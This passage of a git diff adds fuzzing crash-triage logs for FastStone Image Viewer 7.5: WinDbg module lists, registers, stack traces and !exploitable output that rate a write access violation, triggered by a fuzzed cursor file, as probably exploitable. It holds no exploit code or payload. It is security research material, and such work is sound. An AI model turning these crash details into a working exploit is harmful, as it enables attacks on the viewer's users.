00000000`74140000 00000000`741d4000 C:\Windows\SysWOW64\TextShaping.dll +ModLoad: 00000000`73fd0000 00000000`74140000 C:\Windows\SysWOW64\windowscodecs.dll +ModLoad: 00000000`73f60000 00000000`73fc1000 C:\Program Files (x86)\FastStone Image Viewer\fsplugin06.dll +ModLoad: 00000000`73f50000 00000000`73f57000 C:\Windows\SysWOW64\DCIMAN32.DLL +ModLoad: 00000000`73f10000 00000000`73f42000 C:\Windows\SysWOW64\dataexchange.dll +ModLoad: 00000000`73bc0000 00000000`73d24000 C:\Windows\SysWOW64\dcomp.dll +ModLoad: 00000000`73d30000 00000000`73f10000 C:\Windows\SysWOW64\d3d11.dll +ModLoad: 00000000`73af0000 00000000`73bb2000 C:\Windows\SysWOW64\dxgi.dll +ModLoad: 00000000`73960000 00000000`73af0000 C:\Windows\SysWOW64\twinapi.appcore.dll +ModLoad: 00000000`73910000 00000000`73958000 C:\Windows\SysWOW64\thumbcache.dll +ModLoad: 00000000`73900000 00000000`7390a000 C:\Windows\SysWOW64\Secur32.dll +ModLoad: 00000000`738d0000 00000000`738f1000 C:\Windows\SysWOW64\SSPICLI.DLL +ModLoad: 00000000`738b0000 00000000`738c5000 C:\Windows\SysWOW64\samcli.dll +ModLoad: 00000000`73890000 00000000`738a9000 C:\Windows\SysWOW64\SAMLIB.dll +ModLoad: 00000000`73880000 00000000`7388b000 C:\Windows\SysWOW64\netutils.dll +ModLoad: 00000000`6ad80000 00000000`6adfe000 C:\Program Files (x86)\FastStone Image Viewer\fsplugin05.dll +ModLoad: 00000000`737f0000 00000000`73872000 C:\Program Files (x86)\Common Files\microsoft shared\ink\tiptsf.dll +(8a0.1d40): Access violation - code c0000005 (first chance) +r +*** WARNING: Unable to verify checksum for image00000000`00400000 +eax=0019f4b6 ebx=40000000 ecx=07e97b19 edx=00000000 esi=00000000 edi=0fd1afd4 +eip=005bdfcb esp=0019f4a4 ebp=0019f94c iopl=0 nv up ei pl nz ac pe nc +cs=0023 ss=002b ds=002b es=002b fs=0053 gs=002b efl=00210216 +image00000000_00400000+0x1bdfcb: +005bdfcb 884c1602 mov byte ptr [esi+edx+2],cl ds:002b:00000002=?? +rF +fpcw=137F: rn 64 puozdi fpsw=4020: top=0 cc=1000 --p----- fptw=0000 +fopcode=0000 fpip=0000:00604b66 fpdp=0000:00000000 +st0=-1.#SNAN0000000000000000e+0000 st1=-1.#SNAN0000000000000000e+0000 +st2=-1.#SNAN0000000000000000e+0000 st3= 5.729788052700939360000e+0017 +st4= 1.000000000000000000000e+0000 st5= 5.000000000000000000000e-0001 +st6= 6.250000000000000000000e-0002 st7= 3.000000000000000000000e+0002 +image00000000_00400000+0x1bdfcb: +005bdfcb 884c1602 mov byte ptr [esi+edx+2],cl ds:002b:00000002=?? +rX +xmm0=0 0 0 0 +xmm1=0 0 0 0 +xmm2=0 0 0 0 +xmm3=0 0 0 0 +xmm4=0 0 0 0 +xmm5=0 0 0 0 +xmm6=0 0 0 0 +xmm7=-0.000470817 -4.27816e+036 -141.8 -7.45638e-031 +image00000000_00400000+0x1bdfcb: +005bdfcb 884c1602 mov byte ptr [esi+edx+2],cl ds:002b:00000002=?? + + +kb +ChildEBP RetAddr Args to Child +WARNING: Stack unwind information not available. Following frames may be wrong. +0019f94c 0060d6fc 00000000 0019f9b4 0019f984 image00000000_00400000+0x1bdfcb +0019f9c4 005ff93f 0019fa24 005ffbc2 0019fa1c image00000000_00400000+0x20d6fc +0019fa1c 005ff1ef 0019fa44 005ff1f9 0019fa3c image00000000_00400000+0x1ff93f +0019fa3c 008ec955 0019fa70 008ec986 0019fa64 image00000000_00400000+0x1ff1ef +0019fa64 008ef283 0019fb98 0019fa7c 008ef2db image00000000_00400000+0x4ec955 +0019fb98 009298d4 00000001 00000000 00000001 image00000000_00400000+0x4ef283 +0019fc30 0079d2a5 0019fc44 0079d2ec 0019fcdc image00000000_00400000+0x5298d4 +0019fcdc 007987f5 0019fcf0 007987ff 0019fd98 image00000000_00400000+0x39d2a5 +0019fd98 00473a07 0019fdd8 00473a11 0019fdbc image00000000_00400000+0x3987f5 +0019fdbc 004736f3 07f78130 07ef5930 004041f2 image00000000_00400000+0x73a07 +0019ff00 0047b058 0019ff2c 0047b062 0019ff24 image00000000_00400000+0x736f3 +0019ff24 009642e3 0019ff38 009642fe 0019ff70 image00000000_00400000+0x7b058 +0019ff70 7572f989 00285000 7572f970 0019ffdc image00000000_00400000+0x5642e3 +0019ff80 770b7084 00285000 d693d744 00000000 KERNEL32!BaseThreadInitThunk+0x19 +0019ffdc 770b7054 ffffffff 770d62c3 00000000 ntdll_77050000!RtlGetAppContainerNamedObjectPath+0xe4 +0019ffec 00000000 00963a10 00285000 00000000 ntdll_77050000!RtlGetAppContainerNamedObjectPath+0xb4 + + +.load C:\peach\Debuggers\DebugEngine\msec64.dll +!exploitable -m +IDENTITY:HostMachine\HostUser +PROCESSOR:X86 +CLASS:USER +QUALIFIER:USER_PROCESS +EVENT:DEBUG_EVENT_EXCEPTION +EXCEPTION_FAULTING_ADDRESS:0x2 +EXCEPTION_CODE:0xC0000005 +EXCEPTION_LEVEL:FIRST_CHANCE +EXCEPTION_TYPE:STATUS_ACCESS_VIOLATION +EXCEPTION_SUBTYPE:WRITE +MAJOR_HASH:0x67613208 +MINOR_HASH:0x05751964 +STACK_DEPTH:16 +STACK_FRAME:image00000000_00400000+0x1bdfcb +STACK_FRAME:image00000000_00400000+0x20d6fc +STACK_FRAME:image00000000_00400000+0x1ff93f +STACK_FRAME:image00000000_00400000+0x1ff1ef +STACK_FRAME:image00000000_00400000+0x4ec955 +STACK_FRAME:image00000000_00400000+0x4ef283 +STACK_FRAME:image00000000_00400000+0x5298d4 +STACK_FRAME:image00000000_00400000+0x39d2a5 +STACK_FRAME:image00000000_00400000+0x3987f5 +STACK_FRAME:image00000000_00400000+0x73a07 +STACK_FRAME:image00000000_00400000+0x736f3 +STACK_FRAME:image00000000_00400000+0x7b058 +STACK_FRAME:image00000000_00400000+0x5642e3 +STACK_FRAME:KERNEL32!BaseThreadInitThunk+0x19 +STACK_FRAME:ntdll_77050000!RtlGetAppContainerNamedObjectPath+0xe4 +STACK_FRAME:ntdll_77050000!RtlGetAppContainerNamedObjectPath+0xb4 +INSTRUCTION_ADDRESS:0x00000000005bdfcb +INVOKING_STACK_FRAME:0 +DESCRIPTION:User Mode Write AV near NULL +SHORT_DESCRIPTION:WriteAV +CLASSIFICATION:PROBABLY_EXPLOITABLE +BUG_TITLE:Probably Exploitable - User Mode Write AV near NULL starting at image00000000_00400000+0x00000000001bdfcb (Hash=0x67613208.0x05751964) +EXPLANATION:User mode write access violations that are near NULL are probably exploitable. \ No newline at end of file diff --git a/windows/x86/local/FastStone_Image_Viewer_v.7.5/Exploitable Crash Triage/PROBABLY_EXPLOITABLE_0x67613208_0x2b33626d/PROBABLY_EXPLOITABLE_0x67613208_0x05751964/7907/action_1_Output_Unknown Action 1.txt b/windows/x86/local/FastStone_Image_Viewer_v.7.5/Exploitable Crash Triage/PROBABLY_EXPLOITABLE_0x67613208_0x2b33626d/PROBABLY_EXPLOITABLE_0x67613208_0x05751964/7907/action_1_Output_Unknown Action 1.txt new file mode 100644 index 0000000..891a1e1 Binary files /dev/null and b/windows/x86/local/FastStone_Image_Viewer_v.7.5/Exploitable Crash Triage/PROBABLY_EXPLOITABLE_0x67613208_0x2b33626d/PROBABLY_EXPLOITABLE_0x67613208_0x05751964/7907/action_1_Output_Unknown Action 1.txt differ diff --git a/windows/x86/local/FastStone_Image_Viewer_v.7.5/Exploitable Crash Triage/PROBABLY_EXPLOITABLE_0x67613208_0x2b33626d/PROBABLY_EXPLOITABLE_0x67613208_0x05751964/7962/Initial/SystemDebugger_description.txt b/windows/x86/local/FastStone_Image_Viewer_v.7.5/Exploitable Crash Triage/PROBABLY_EXPLOITABLE_0x67613208_0x2b33626d/PROBABLY_EXPLOITABLE_0x67613208_0x05751964/7962/Initial/SystemDebugger_description.txt new file mode 100644 index 0000000..9258160 --- /dev/null +++ b/windows/x86/local/FastStone_Image_Viewer_v.7.5/Exploitable Crash Triage/PROBABLY_EXPLOITABLE_0x67613208_0x2b33626d/PROBABLY_EXPLOITABLE_0x67613208_0x05751964/7962/Initial/SystemDebugger_description.txt @@ -0,0 +1,2 @@ +First Chance Exception: 0xc0000005 +Access Violation Writing To 0x0000000000000002 \ No newline at end of file diff --git a/windows/x86/local/FastStone_Image_Viewer_v.7.5/Exploitable Crash Triage/PROBABLY_EXPLOITABLE_0x67613208_0x2b33626d/PROBABLY_EXPLOITABLE_0x67613208_0x05751964/7962/Initial/action_1_Output_Unknown Action 1.txt b/windows/x86/local/FastStone_Image_Viewer_v.7.5/Exploitable Crash Triage/PROBABLY_EXPLOITABLE_0x67613208_0x2b33626d/PROBABLY_EXPLOITABLE_0x67613208_0x05751964/7962/Initial/action_1_Output_Unknown Action 1.txt new file mode 100644 index 0000000..e0eca22 Binary files /dev/null and b/windows/x86/local/FastStone_Image_Viewer_v.7.5/Exploitable Crash Triage/PROBABLY_EXPLOITABLE_0x67613208_0x2b33626d/PROBABLY_EXPLOITABLE_0x67613208_0x05751964/7962/Initial/action_1_Output_Unknown Action 1.txt differ diff --git a/windows/x86/local/FastStone_Image_Viewer_v.7.5/Exploitable Crash Triage/PROBABLY_EXPLOITABLE_0x67613208_0x2b33626d/PROBABLY_EXPLOITABLE_0x67613208_0x05751964/7962/WindowsDebugEngine_StackTrace.txt b/windows/x86/local/FastStone_Image_Viewer_v.7.5/Exploitable Crash Triage/PROBABLY_EXPLOITABLE_0x67613208_0x2b33626d/PROBABLY_EXPLOITABLE_0x67613208_0x05751964/7962/WindowsDebugEngine_StackTrace.txt new file mode 100644 index 0000000..f179a27 --- /dev/null +++ b/windows/x86/local/FastStone_Image_Viewer_v.7.5/Exploitable Crash Triage/PROBABLY_EXPLOITABLE_0x67613208_0x2b33626d/PROBABLY_EXPLOITABLE_0x67613208_0x05751964/7962/WindowsDebugEngine_StackTrace.txt @@ -0,0 +1,174 @@ + +************* Path validation summary ************** +Response Time (ms) Location +Deferred SRV*http://msdl.microsoft.com/download/symbols + +Microsoft (R) Windows Debugger Version 10.0.19041.685 AMD64 +Copyright (c) Microsoft Corporation. All rights reserved. + +CommandLine: C:\Program Files (x86)\FastStone Image Viewer\FSViewer.exe fuzz.cur + +************* Path validation summary ************** +Response Time (ms) Location +Deferred SRV*http://msdl.microsoft.com/download/symbols +Symbol search path is: SRV*http://msdl.microsoft.com/download/symbols +Executable search path is: +ModLoad: 00000000`00400000 00000000`00abf000 image00000000`00400000 +ModLoad: 00007ffa`f7d90000 00007ffa`f7f84000 ntdll.dll +ModLoad: 00000000`77050000 00000000`771f2000 ntdll.dll +ModLoad: 00000000`00ac0000 00000000`00b34000 C:\Windows\System32\verifier.dll +Page heap: pid 0x1AD8: page heap enabled with flags 0x3. +ModLoad: 00007ffa`f6430000 00007ffa`f6489000 C:\Windows\System32\wow64.dll +ModLoad: 00007ffa`f6520000 00007ffa`f65a3000 C:\Windows\System32\wow64win.dll +ModLoad: 00000000`77040000 00000000`7704a000 C:\Windows\System32\wow64cpu.dll +ModLoad: 00000000`74ec0000 00000000`74f25000 C:\Windows\SysWOW64\verifier.dll +Page heap: pid 0x1AD8: page heap enabled with flags 0x3. +ModLoad: 00000000`75710000 00000000`75800000 C:\Windows\SysWOW64\KERNEL32.DLL +ModLoad: 00000000`754f0000 00000000`75703000 C:\Windows\SysWOW64\KERNELBASE.dll +ModLoad: 00000000`75ac0000 00000000`75c53000 C:\Windows\SysWOW64\user32.dll +ModLoad: 00000000`75de0000 00000000`75df8000 C:\Windows\SysWOW64\win32u.dll +ModLoad: 00000000`768f0000 00000000`76913000 C:\Windows\SysWOW64\GDI32.dll +ModLoad: 00000000`75e00000 00000000`75eda000 C:\Windows\SysWOW64\gdi32full.dll +ModLoad: 00000000`76300000 00000000`7637b000 C:\Windows\SysWOW64\msvcp_win.dll +ModLoad: 00000000`764a0000 00000000`765c0000 C:\Windows\SysWOW64\ucrtbase.dll +ModLoad: 00000000`76870000 00000000`768e9000 C:\Windows\SysWOW64\advapi32.dll +ModLoad: 00000000`76380000 00000000`7643f000 C:\Windows\SysWOW64\msvcrt.dll +ModLoad: 00000000`76280000 00000000`762f5000 C:\Windows\SysWOW64\sechost.dll +ModLoad: 00000000`75a00000 00000000`75aba000 C:\Windows\SysWOW64\RPCRT4.dll +ModLoad: 00000000`76750000 00000000`767e6000 C:\Windows\SysWOW64\oleaut32.dll +ModLoad: 00000000`76000000 00000000`76280000 C:\Windows\SysWOW64\combase.dll +ModLoad: 00000000`75c60000 00000000`75d43000 C:\Windows\SysWOW64\ole32.dll +ModLoad: 00000000`74eb0000 00000000`74eb8000 C:\Windows\SysWOW64\version.dll +ModLoad: 00000000`74ea0000 00000000`74ea6000 C:\Windows\SysWOW64\msimg32.dll +ModLoad: 00000000`75400000 00000000`75425000 C:\Windows\SysWOW64\imm32.dll +ModLoad: 00000000`74c90000 00000000`74ea0000 C:\Windows\WinSxS\x86_microsoft.windows.common-controls_6595b64144ccf1df_6.0.19041.1_none_fd031af45b0106f2\comctl32.dll +ModLoad: 00000000`769b0000 00000000`76f57000 C:\Windows\SysWOW64\shell32.dll +ModLoad: 00000000`74c20000 00000000`74c8d000 C:\Windows\SysWOW64\winspool.drv +ModLoad: 00000000`75ee0000 00000000`75f8f000 C:\Windows\SysWOW64\comdlg32.dll +ModLoad: 00000000`75d50000 00000000`75dd7000 C:\Windows\SysWOW64\shcore.dll +ModLoad: 00000000`753b0000 00000000`753f5000 C:\Windows\SysWOW64\SHLWAPI.dll +ModLoad: 00000000`74c00000 00000000`74c1b000 C:\Windows\SysWOW64\avifil32.dll +ModLoad: 00000000`74bd0000 00000000`74bf2000 C:\Windows\SysWOW64\MsVfW32.dll +ModLoad: 00000000`74ba0000 00000000`74bc8000 C:\Windows\SysWOW64\winmm.dll +ModLoad: 00000000`74a00000 00000000`74b9a000 C:\Windows\SysWOW64\quartz.dll +ModLoad: 00000000`749e0000 00000000`749f9000 C:\Windows\SysWOW64\MSACM32.dll +ModLoad: 00000000`75800000 00000000`75819000 C:\Windows\SysWOW64\bcrypt.dll +ModLoad: 00000000`743b0000 00000000`743cd000 C:\Windows\SysWOW64\winmmbase.dll +ModLoad: 00000000`001d0000 00000000`001ed000 C:\Windows\SysWOW64\winmmbase.dll +ModLoad: 00000000`743d0000 00000000`749d4000 C:\Windows\SysWOW64\windows.storage.dll +ModLoad: 00000000`74380000 00000000`743a3000 C:\Windows\SysWOW64\Wldp.dll +ModLoad: 74300000 74374000 C:\Windows\SysWOW64\uxtheme.dll +ModLoad: 00000000`76f60000 00000000`77032000 C:\Windows\SysWOW64\MSCTF.dll +ModLoad: 00000000`742e0000 00000000`742f9000 C:\Windows\SysWOW64\olepro32.dll +ModLoad: 00000000`742d0000 00000000`742df000 C:\Windows\SysWOW64\kernel.appcore.dll +ModLoad: 00000000`765c0000 00000000`7661c000 C:\Windows\SysWOW64\bcryptPrimitives.dll +ModLoad: 00000000`75370000 00000000`753ab000 C:\Windows\SysWOW64\CFGMGR32.dll +ModLoad: 00000000`767f0000 00000000`7686e000 C:\Windows\SysWOW64\clbcatq.dll +ModLoad: 00000000`74200000 00000000`742c2000 C:\Windows\SysWOW64\propsys.dll +ModLoad: 00000000`741e0000 00000000`741f8000 C:\Windows\SysWOW64\profapi.dll +ModLoad: 00000000`74140000 00000000`741d4000 C:\Windows\SysWOW64\TextShaping.dll +ModLoad: 00000000`73fd0000 00000000`74140000 C:\Windows\SysWOW64\windowscodecs.dll +ModLoad: 00000000`73f60000 00000000`73fc1000 C:\Program Files (x86)\FastStone Image Viewer\fsplugin06.dll +ModLoad: 00000000`73f50000 00000000`73f57000 C:\Windows\SysWOW64\DCIMAN32.DLL +ModLoad: 00000000`73f10000 00000000`73f42000 C:\Windows\SysWOW64\dataexchange.dll +ModLoad: 00000000`73bc0000 00000000`73d24000 C:\Windows\SysWOW64\dcomp.dll +ModLoad: 00000000`73d30000 00000000`73f10000 C:\Windows\SysWOW64\d3d11.dll +ModLoad: 00000000`73af0000 00000000`73bb2000 C:\Windows\SysWOW64\dxgi.dll +ModLoad: 00000000`73960000 00000000`73af0000 C:\Windows\SysWOW64\twinapi.appcore.dll +ModLoad: 00000000`73910000 00000000`73958000 C:\Windows\SysWOW64\thumbcache.dll +ModLoad: 00000000`73900000 00000000`7390a000 C:\Windows\SysWOW64\Secur32.dll +ModLoad: 00000000`738d0000 00000000`738f1000 C:\Windows\SysWOW64\SSPICLI.DLL +ModLoad: 00000000`738b0000 00000000`738c5000 C:\Windows\SysWOW64\samcli.dll +ModLoad: 00000000`73890000 00000000`738a9000 C:\Windows\SysWOW64\SAMLIB.dll +ModLoad: 00000000`73880000 00000000`7388b000 C:\Windows\SysWOW64\netutils.dll +ModLoad: 00000000`6ad80000 00000000`6adfe000 C:\Program Files (x86)\FastStone Image Viewer\fsplugin05.dll +ModLoad: 00000000`737f0000 00000000`73872000 C:\Program Files (x86)\Common Files\microsoft shared\ink\tiptsf.dll +(1ad8.1988): Access violation - code c0000005 (first chance) +r +*** WARNING: Unable to verify checksum for image00000000`00400000 +eax=0019f4b6 ebx=80000000 ecx=07eb7b19 edx=00000000 esi=00000000 edi=0f6fcfd4 +eip=005bdfcb esp=0019f4a4 ebp=0019f94c iopl=0 ov up ei ng nz ac pe nc +cs=0023 ss=002b ds=002b es=002b fs=0053 gs=002b efl=00210a96 +image00000000_00400000+0x1bdfcb: +005bdfcb 884c1602 mov byte ptr [esi+edx+2],cl ds:002b:00000002=?? +rF +fpcw=137F: rn 64 puozdi fpsw=4020: top=0 cc=1000 --p----- fptw=0000 +fopcode=0000 fpip=0000:00604b66 fpdp=0000:00000000 +st0=-1.#SNAN0000000000000000e+0000 st1=-1.#SNAN0000000000000000e+0000 +st2=-1.#SNAN0000000000000000e+0000 st3= 5.735417552236463200000e+0017 +st4= 1.000000000000000000000e+0000 st5= 5.000000000000000000000e-0001 +st6= 6.250000000000000000000e-0002 st7= 3.000000000000000000000e+0002 +image00000000_00400000+0x1bdfcb: +005bdfcb 884c1602 mov byte ptr [esi+edx+2],cl ds:002b:00000002=?? +rX +xmm0=0 0 0 0 +xmm1=0 0 0 0 +xmm2=0 0 0 0 +xmm3=0 0 0 0 +xmm4=0 0 0 0 +xmm5=0 0 0 0 +xmm6=0 0 0 0 +xmm7=8.07022e-038 1.16598e+010 3.89754e+024 -1.62196e+019 +image00000000_00400000+0x1bdfcb: +005bdfcb 884c1602 mov byte ptr [esi+edx+2],cl ds:002b:00000002=?? + + +kb +ChildEBP RetAddr Args to Child +WARNING: Stack unwind information not available. Following frames may be wrong. +0019f94c 0060d6fc 00000000 0019f9b4 0019f984 image00000000_00400000+0x1bdfcb +0019f9c4 005ff93f 0019fa24 005ffbc2 0019fa1c image00000000_00400000+0x20d6fc +0019fa1c 005ff1ef 0019fa44 005ff1f9 0019fa3c image00000000_00400000+0x1ff93f +0019fa3c 008ec955 0019fa70 008ec986 0019fa64 image00000000_00400000+0x1ff1ef +0019fa64 008ef283 0019fb98 0019fa7c 008ef2db image00000000_00400000+0x4ec955 +0019fb98 009298d4 00000001 00000000 00000001 image00000000_00400000+0x4ef283 +0019fc30 0079d2a5 0019fc44 0079d2ec 0019fcdc image00000000_00400000+0x5298d4 +0019fcdc 007987f5 0019fcf0 007987ff 0019fd98 image00000000_00400000+0x39d2a5 +0019fd98 00473a07 0019fdd8 00473a11 0019fdbc image00000000_00400000+0x3987f5 +0019fdbc 004736f3 07f98130 07f15930 004041f2 image00000000_00400000+0x73a07 +0019ff00 0047b058 0019ff2c 0047b062 0019ff24 image00000000_00400000+0x736f3 +0019ff24 009642e3 0019ff38 009642fe 0019ff70 image00000000_00400000+0x7b058 +0019ff70 7572f989 002cc000 7572f970 0019ffdc image00000000_00400000+0x5642e3 +0019ff80 770b7084 002cc000 bea1af64 00000000 KERNEL32!BaseThreadInitThunk+0x19 +0019ffdc 770b7054 ffffffff 770d629f 00000000 ntdll_77050000!RtlGetAppContainerNamedObjectPath+0xe4 +0019ffec 00000000 00963a10 002cc000 00000000 ntdll_77050000!RtlGetAppContainerNamedObjectPath+0xb4 + + +.load C:\peach\Debuggers\DebugEngine\msec64.dll +!exploitable -m +IDENTITY:HostMachine\HostUser +PROCESSOR:X86 +CLASS:USER +QUALIFIER:USER_PROCESS +EVENT:DEBUG_EVENT_EXCEPTION +EXCEPTION_FAULTING_ADDRESS:0x2 +EXCEPTION_CODE:0xC0000005 +EXCEPTION_LEVEL:FIRST_CHANCE +EXCEPTION_TYPE:STATUS_ACCESS_VIOLATION +EXCEPTION_SUBTYPE:WRITE +MAJOR_HASH:0x67613208 +MINOR_HASH:0x05751964 +STACK_DEPTH:16 +STACK_FRAME:image00000000_00400000+0x1bdfcb +STACK_FRAME:image00000000_00400000+0x20d6fc +STACK_FRAME:image00000000_00400000+0x1ff93f +STACK_FRAME:image00000000_00400000+0x1ff1ef +STACK_FRAME:image00000000_00400000+0x4ec955 +STACK_FRAME:image00000000_00400000+0x4ef283 +STACK_FRAME:image00000000_00400000+0x5298d4 +STACK_FRAME:image00000000_00400000+0x39d2a5 +STACK_FRAME:image00000000_00400000+0x3987f5 +STACK_FRAME:image00000000_00400000+0x73a07 +STACK_FRAME:image00000000_00400000+0x736f3 +STACK_FRAME:image00000000_00400000+0x7b058 +STACK_FRAME:image00000000_00400000+0x5642e3 +STACK_FRAME:KERNEL32!BaseThreadInitThunk+0x19 +STACK_FRAME:ntdll_77050000!RtlGetAppContainerNamedObjectPath+0xe4 +STACK_FRAME:ntdll_77050000!RtlGetAppContainerNamedObjectPath+0xb4 +INSTRUCTION_ADDRESS:0x00000000005bdfcb +INVOKING_STACK_FRAME:0 +DESCRIPTION:User Mode Write AV near NULL +SHORT_DESCRIPTION:WriteAV +CLASSIFICATION:PROBABLY_EXPLOITABLE +BUG_TITLE:Probably Exploitable - User Mode Write AV near NULL starting at image00000000_00400000+0x00000000001bdfcb (Hash=0x67613208.0x05751964) +EXPLANATION:User mode write access violations that are near NULL are probably exploitable. \ No newline at end of file diff --git a/windows/x86/local/FastStone_Image_Viewer_v.7.5/Exploitable Crash Triage/PROBABLY_EXPLOITABLE_0x67613208_0x2b33626d/PROBABLY_EXPLOITABLE_0x67613208_0x05751964/7962/WindowsDebugEngine_description.txt b/windows/x86/local/FastStone_Image_Viewer_v.7.5/Exploitable Crash Triage/PROBABLY_EXPLOITABLE_0x67613208_0x2b33626d/PROBABLY_EXPLOITABLE_0x67613208_0x05751964/7962/WindowsDebugEngine_description.txt new file mode 100644 index 0000000..f179a27 --- /dev/null +++ b/windows/x86/local/FastStone_Image_Viewer_v.7.5/Exploitable Crash Triage/PROBABLY_EXPLOITABLE_0x67613208_0x2b33626d/PROBABLY_EXPLOITABLE_0x67613208_0x05751964/7962/WindowsDebugEngine_description.txt @@ -0,0 +1,174 @@ + +************* Path validation summary ************** +Response Time (ms) Location +Deferred SRV*http://msdl.microsoft.com/download/symbols + +Microsoft (R) Windows Debugger Version 10.0.19041.685 AMD64 +Copyright (c) Microsoft Corporation. All rights reserved. + +CommandLine: C:\Program Files (x86)\FastStone Image Viewer\FSViewer.exe fuzz.cur + +************* Path validation summary ************** +Response Time (ms) Location +Deferred SRV*http://msdl.microsoft.com/download/symbols +Symbol search path is: SRV*http://msdl.microsoft.com/download/symbols +Executable search path is: +ModLoad: 00000000`00400000 00000000`00abf000 image00000000`00400000 +ModLoad: 00007ffa`f7d90000 00007ffa`f7f84000 ntdll.dll +ModLoad: 00000000`77050000 00000000`771f2000 ntdll.dll +ModLoad: 00000000`00ac0000 00000000`00b34000 C:\Windows\System32\verifier.dll +Page heap: pid 0x1AD8: page heap enabled with flags 0x3. +ModLoad: 00007ffa`f6430000 00007ffa`f6489000 C:\Windows\System32\wow64.dll +ModLoad: 00007ffa`f6520000 00007ffa`f65a3000 C:\Windows\System32\wow64win.dll +ModLoad: 00000000`77040000 00000000`7704a000 C:\Windows\System32\wow64cpu.dll +ModLoad: 00000000`74ec0000 00000000`74f25000 C:\Windows\SysWOW64\verifier.dll +Page heap: pid 0x1AD8: page heap enabled with flags 0x3. +ModLoad: 00000000`75710000 00000000`75800000 C:\Windows\SysWOW64\KERNEL32.DLL +ModLoad: 00000000`754f0000 00000000`75703000 C:\Windows\SysWOW64\KERNELBASE.dll +ModLoad: 00000000`75ac0000 00000000`75c53000 C:\Windows\SysWOW64\user32.dll +ModLoad: 00000000`75de0000 00000000`75df8000 C:\Windows\SysWOW64\win32u.dll +ModLoad: 00000000`768f0000 00000000`76913000 C:\Windows\SysWOW64\GDI32.dll +ModLoad: 00000000`75e00000 00000000`75eda000 C:\Windows\SysWOW64\gdi32full.dll +ModLoad: 00000000`76300000 00000000`7637b000 C:\Windows\SysWOW64\msvcp_win.dll +ModLoad: 00000000`764a0000 00000000`765c0000 C:\Windows\SysWOW64\ucrtbase.dll +ModLoad: 00000000`76870000 00000000`768e9000 C:\Windows\SysWOW64\advapi32.dll +ModLoad: 00000000`76380000 00000000`7643f000 C:\Windows\SysWOW64\msvcrt.dll +ModLoad: 00000000`76280000 00000000`762f5000 C:\Windows\SysWOW64\sechost.dll +ModLoad: 00000000`75a00000 00000000`75aba000 C:\Windows\SysWOW64\RPCRT4.dll +ModLoad: 00000000`76750000 00000000`767e6000 C:\Windows\SysWOW64\oleaut32.dll +ModLoad: 00000000`76000000 00000000`76280000 C:\Windows\SysWOW64\combase.dll +ModLoad: 00000000`75c60000 00000000`75d43000 C:\Windows\SysWOW64\ole32.dll +ModLoad: 00000000`74eb0000 00000000`74eb8000 C:\Windows\SysWOW64\version.dll +ModLoad: 00000000`74ea0000 00000000`74ea6000 C:\Windows\SysWOW64\msimg32.dll +ModLoad: 00000000`75400000 00000000`75425000 C:\Windows\SysWOW64\imm32.dll +ModLoad: 00000000`74c90000 00000000`74ea0000 C:\Windows\WinSxS\x86_microsoft.windows.common-controls_6595b64144ccf1df_6.0.19041.1_none_fd031af45b0106f2\comctl32.dll +ModLoad: 00000000`769b0000 00000000`76f57000 C:\Windows\SysWOW64\shell32.dll +ModLoad: 00000000`74c20000 00000000`74c8d000 C:\Windows\SysWOW64\winspool.drv +ModLoad: 00000000`75ee0000 00000000`75f8f000 C:\Windows\SysWOW64\comdlg32.dll +ModLoad: 00000000`75d50000 00000000`75dd7000 C:\Windows\SysWOW64\shcore.dll +ModLoad: 00000000`753b0000 00000000`753f5000 C:\Windows\SysWOW64\SHLWAPI.dll +ModLoad: 00000000`74c00000 00000000`74c1b000 C:\Windows\SysWOW64\avifil32.dll +ModLoad: 00000000`74bd0000 00000000`74bf2000 C:\Windows\SysWOW64\MsVfW32.dll +ModLoad: 00000000`74ba0000 00000000`74bc8000 C:\Windows\SysWOW64\winmm.dll +ModLoad: 00000000`74a00000 00000000`74b9a000 C:\Windows\SysWOW64\quartz.dll +ModLoad: 00000000`749e0000 00000000`749f9000 C:\Windows\SysWOW64\MSACM32.dll +ModLoad: 00000000`75800000 00000000`75819000 C:\Windows\SysWOW64\bcrypt.dll +ModLoad: 00000000`743b0000 00000000`743cd000 C:\Windows\SysWOW64\winmmbase.dll +ModLoad: 00000000`001d0000 00000000`001ed000 C:\Windows\SysWOW64\winmmbase.dll +ModLoad: 00000000`743d0000 00000000`749d4000 C:\Windows\SysWOW64\windows.storage.dll +ModLoad: 00000000`74380000 00000000`743a3000 C:\Windows\SysWOW64\Wldp.dll +ModLoad: 74300000 74374000 C:\Windows\SysWOW64\uxtheme.dll +ModLoad: 00000000`76f60000 00000000`77032000 C:\Windows\SysWOW64\MSCTF.dll +ModLoad: 00000000`742e0000 00000000`742f9000 C:\Windows\SysWOW64\olepro32.dll +ModLoad: 00000000`742d0000 00000000`742df000 C:\Windows\SysWOW64\kernel.appcore.dll +ModLoad: 00000000`765c0000 00000000`7661c000 C:\Windows\SysWOW64\bcryptPrimitives.dll +ModLoad: 00000000`75370000 00000000`753ab000 C:\Windows\SysWOW64\CFGMGR32.dll +ModLoad: 00000000`767f0000 00000000`7686e000 C:\Windows\SysWOW64\clbcatq.dll +ModLoad: 00000000`74200000 00000000`742c2000 C:\Windows\SysWOW64\propsys.dll +ModLoad: 00000000`741e0000 00000000`741f8000 C:\Windows\SysWOW64\profapi.dll +ModLoad: 00000000`74140000 00000000`741d4000 C:\Windows\SysWOW64\TextShaping.dll +ModLoad: 00000000`73fd0000 00000000`74140000 C:\Windows\SysWOW64\windowscodecs.dll +ModLoad: 00000000`73f60000 00000000`73fc1000 C:\Program Files (x86)\FastStone Image Viewer\fsplugin06.dll +ModLoad: 00000000`73f50000 00000000`73f57000 C:\Windows\SysWOW64\DCIMAN32.DLL +ModLoad: 00000000`73f10000 00000000`73f42000 C:\Windows\SysWOW64\dataexchange.dll +ModLoad: 00000000`73bc0000 00000000`73d24000 C:\Windows\SysWOW64\dcomp.dll +ModLoad: 00000000`73d30000 00000000`73f10000 C:\Windows\SysWOW64\d3d11.dll +ModLoad: 00000000`73af0000 00000000`73bb2000 C:\Windows\SysWOW64\dxgi.dll +ModLoad: 00000000`73960000 00000000`73af0000 C:\Windows\SysWOW64\twinapi.appcore.dll +ModLoad: 00000000`73910000 00000000`73958000 C:\Windows\SysWOW64\thumbcache.dll +ModLoad: 00000000`73900000 00000000`7390a000 C:\Windows\SysWOW64\Secur32.dll +ModLoad: 00000000`738d0000 00000000`738f1000 C:\Windows\SysWOW64\SSPICLI.DLL +ModLoad: 00000000`738b0000 00000000`738c5000 C:\Windows\SysWOW64\samcli.dll +ModLoad: 00000000`73890000 00000000`738a9000 C:\Windows\SysWOW64\SAMLIB.dll 